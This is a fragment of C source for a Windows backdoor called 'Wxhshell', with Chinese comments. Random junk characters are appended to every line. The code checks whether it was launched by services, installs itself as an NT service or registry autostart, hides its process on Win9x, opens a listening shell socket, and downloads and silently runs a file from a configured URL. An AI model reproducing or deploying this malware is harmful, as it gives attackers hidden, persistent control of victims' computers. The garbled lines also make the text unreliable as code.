} PROCESS_BASIC_INFORMATION; KqH_?r`
t@1bu$y
PROCNTQSIP NtQueryInformationProcess; nC>'kgRt
#lHA<jI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L1i:hgq0]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _~_E(rTn
`[*n UdG
HANDLE hProcess; KL}o%wfLy
PROCESS_BASIC_INFORMATION pbi; Q1yj+)_
$JTQA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PfKF!/c
B
if(NULL == hInst ) return 0; "o
^cv
erC )2{m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hL8GW> `a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D)*OQLHW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]J%p&y+6
@&G< Np`
if (!NtQueryInformationProcess) return 0; ZC\&n4~7
k-uwK-B}v+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rIg5Wcd
if(!hProcess) return 0; @h&crI[c
Xob,jo}a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KNw{\Pz~w
@Ht7^rz+S
CloseHandle(hProcess); Ct)l0J\XH
E3a^)S{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n)'5h
if(hProcess==NULL) return 0; 5lc%GJybV
!y{t}|U/d
HMODULE hMod; '"/Yk=EmlU
char procName[255]; XW*,Lo5>H\
unsigned long cbNeeded; q0l=S+0
aN/0'V|&ym
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }wh
sZ
=/b WS,=
CloseHandle(hProcess); g;Lk 'Ky6
j$z<wR7j0
if(strstr(procName,"services")) return 1; // 以服务启动 '.mHx#?7
V>YZ^>oeH
return 0; // 注册表启动 Ym WVb
} Y,%d_yR[
-!kfwJg8N(
// 主模块 =h<LlI^v
int StartWxhshell(LPSTR lpCmdLine) ! 9U
{ 4CT _MAj
SOCKET wsl; > (.V(]{3y
BOOL val=TRUE; _FJ,, /~
int port=0; Zss `##
struct sockaddr_in door; w>q:&Q
qf7oG0
if(wscfg.ws_autoins) Install(); .1&~@e%=-
}zkMo?
port=atoi(lpCmdLine); N4wv'OrL]
dcGs0b
if(port<=0) port=wscfg.ws_port; M^E\L
C
Hik :Sqpox
WSADATA data; 7 q%|-`#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bJz}\[z
keBf^NY
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A* =r~T5B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y8Bc
&q}
door.sin_family = AF_INET; 7%E]E,f/#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); D_HE!fl
door.sin_port = htons(port); ia!b0*<
NPL(5@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `a!:-.:v
closesocket(wsl); x'.OLXx>
return 1; (|F } B
} c)HHc0KD
P a{)@xT
if(listen(wsl,2) == INVALID_SOCKET) { J*lKXFq7
closesocket(wsl); l|O)B #
return 1; I\BcG(hlJ
} GomTec9.
Wxhshell(wsl); (61_=,jv\h
WSACleanup(); ^zMME*G
VGVZ`|
return 0; [CBhipoc
\GR M,c
} a*pwVn
g@va@*|~d
// 以NT服务方式启动 } +@H&}u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [`_ZlC
{ JMUk=p<\
DWORD status = 0; B4<W%lm
DWORD specificError = 0xfffffff; '>}dqp{Wr
[&Z3+/lR*
serviceStatus.dwServiceType = SERVICE_WIN32; QEavbh^S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @-~
)M_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q
UQ"2oC
serviceStatus.dwWin32ExitCode = 0; m5G9
B-\?
serviceStatus.dwServiceSpecificExitCode = 0; 4TBK:Vm5
serviceStatus.dwCheckPoint = 0; {G+pI2^
serviceStatus.dwWaitHint = 0; O%g%*9
X/
\5j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $ON4nx
if (hServiceStatusHandle==0) return; abHW[VP9
Vu%XoI)<KY
status = GetLastError(); Nvlfi8.
if (status!=NO_ERROR) $ylQ \Y'
{ \G3P[E[
serviceStatus.dwCurrentState = SERVICE_STOPPED; *q ?-M"K
serviceStatus.dwCheckPoint = 0; Hyw T
serviceStatus.dwWaitHint = 0; n>_EEw2/
serviceStatus.dwWin32ExitCode = status; <*g!R!
serviceStatus.dwServiceSpecificExitCode = specificError; b;N[_2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k
k&8:;Vj
return; g=*`6@_=
} _::q
S!
rc*iL
serviceStatus.dwCurrentState = SERVICE_RUNNING; Lqt.S|
serviceStatus.dwCheckPoint = 0; Koi
serviceStatus.dwWaitHint = 0; aXoD{zA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tA?cHDp4E
} D['z/r6F
SG&VZY
// 处理NT服务事件,比如:启动、停止 y U-^w^4
VOID WINAPI NTServiceHandler(DWORD fdwControl) |NbF3 fD
{ 'E4`qq
switch(fdwControl) !Od?69W, $
{ d ,Fj|}S
case SERVICE_CONTROL_STOP: oBA]qI
serviceStatus.dwWin32ExitCode = 0; H O^3v34ZO
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6N{Vcfq
serviceStatus.dwCheckPoint = 0; P <$)v5f
serviceStatus.dwWaitHint = 0; Wz}8O]#/.
{ X}Ey6*D:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~\4B 1n7
} aKLA_-E
return; Zy}Qc")Z
case SERVICE_CONTROL_PAUSE: D^?jLfW8
serviceStatus.dwCurrentState = SERVICE_PAUSED; `m~x*)L#
break; _^)Wrf+
case SERVICE_CONTROL_CONTINUE: 4@K9%
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6I$laHx?
break; LP{{PT.&X
case SERVICE_CONTROL_INTERROGATE: aUdbN&G
break; K+0&~XU
}; _f~(g1sE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j.3#rxq
} ; bBz<
?e`4
sf_~
// 标准应用程序主函数 -+'fn$
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YL )epi^
{ F-\Swbx+
AoaRlk-#
// 获取操作系统版本 E&\dr;{7
OsIsNt=GetOsVer(); 0{ZYYB&"~J
GetModuleFileName(NULL,ExeFile,MAX_PATH); BFU6?\r
6@7K\${
// 从命令行安装 hi{#HXa
if(strpbrk(lpCmdLine,"iI")) Install(); c)d*[OI8
.4M8
// 下载执行文件 )HrFWI'Y
if(wscfg.ws_downexe) { m])!'Pa(=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !)jw o=l}J
WinExec(wscfg.ws_filenam,SW_HIDE); |H:JwxH
} O'6zV"<P
p.r \|
if(!OsIsNt) { b`NXe7A
// 如果时win9x,隐藏进程并且设置为注册表启动 kOe%w-_
HideProc(); +d[A'&"
StartWxhshell(lpCmdLine); *]ROUk@K=
} z (N3oBW
else QT1(= wK3
if(StartFromService()) ugtzF
// 以服务方式启动 }Yi)r*LI3
StartServiceCtrlDispatcher(DispatchTable); !]%M
else t SST.o3
// 普通方式启动 C~do*rnM^
StartWxhshell(lpCmdLine); G}o?lo\#h
L<kIzB !
return 0; e&Z\hZBb
} T;cyU9
T
;Ga G
ND w+bR-
+3HukoR(
=========================================== 4?#0fK
u!k]Q#2ZR
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pK)*{fC$`
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